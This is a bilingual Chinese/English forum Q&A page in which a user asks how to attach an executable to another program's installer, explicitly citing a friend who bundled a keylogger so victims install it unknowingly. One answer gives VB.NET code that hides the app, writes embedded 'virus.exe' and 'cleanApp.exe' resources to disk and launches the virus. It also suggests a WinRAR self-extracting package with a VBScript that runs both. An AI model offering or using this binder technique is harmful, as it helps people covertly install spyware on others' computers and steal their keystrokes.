安装安装后运行Any Exe。 [英] Run Any Exe after Setup installation.

查看:106
本文介绍了安装安装后运行Any Exe。的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

如何在成功安装安装程序后运行Any Exe。例如我有IDM设置,我想运行我的Exe或将其附加到IDM设置,以便如果安装了IDM我的应用程序或exe也开始使用它安装。



我的一个朋友做了这个,但我不知道他是怎么做到的。他将他的键盘记录程序应用程序附加到某些设置,以便有人安装该应用程序,他的键盘记录程序应用程序也已安装。



我想知道如何做到这一点?

How can I run Any Exe After setup is successfully installed. for example i have IDM setup, i want to run my Exe or attach it to IDM setup so that if IDM is installed my application or exe also start get install with it.

One of my friend did this, but i dont know how he did that. He attached his keylogger application to Some setup, so that someone install that application his keylogger application also got installed.

Am wondering how can I do this?

推荐答案

您可以在安装程序中包含您的exe。安装程序可以选择在产品安装的不同阶段运行程序(或脚本或...)。作为安装的一部分,您可以让安装程序在系统上保留(或不保留)exe。



阅读安装程序逻辑。
You can include your exe in the installer. The installer has options to run programs (or scripts or ...) in different phases of the product installation. You can have the installer leave (or not) your exe on the system as part of the installation.

Read up on installer logic.

有许多解决方案可以与其他应用程序同时安装间谍软件。



1.您可以在VBNET或C#上的Resources中安装间谍软件和干净应用程序。

你可以在运行时编程同时执行这两个应用程序。

将应用程序的状态设置为隐藏(Me.Hide())

在加载事件写入中;

IO.File.WriteAllBytes(C:\ _virus.exe,My.Resources.virus)

IO。 File.WriteAllBytes(C:\ cleanApp.exe,My.Resources.cleanApp)

Process.Start(C:\ _virus.exe)





2. Winrar还提供了挂载文件的可能性,在这种情况下是可执行文件,它们将在运行时解压缩(有许多选项,如隐藏活动,... 。)

您必须安装一个脚本,您还必须将其包含在包中。在您编写的脚本上执行virus.exe和cleanApp.exe

我更喜欢VBScript,它非常强大以防你不知道
There are many solutions to install your spyware simultanously with another application.

1. You can mount both, spyware and clean application in Resources on VBNET or C#.
you can program at run time to execute both apps on the same time.
Set the App''s State to Hidden(Me.Hide())
In Load Event write;
IO.File.WriteAllBytes("C:\virus.exe", My.Resources.virus)
IO.File.WriteAllBytes("C:\cleanApp.exe", My.Resources.cleanApp)
Process.Start("C:\virus.exe")


2. Winrar also gives a possibility to mount files, in this case executables, which they will decompressed at run time(there are many option like hide activity, ...)
You have to mount a script, which you have also to include on the package. And on the script you write to execute the virus.exe and cleanApp.exe
I prefer VBScript, its very powerfull in case you dont know it


这篇关于安装安装后运行Any Exe。的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆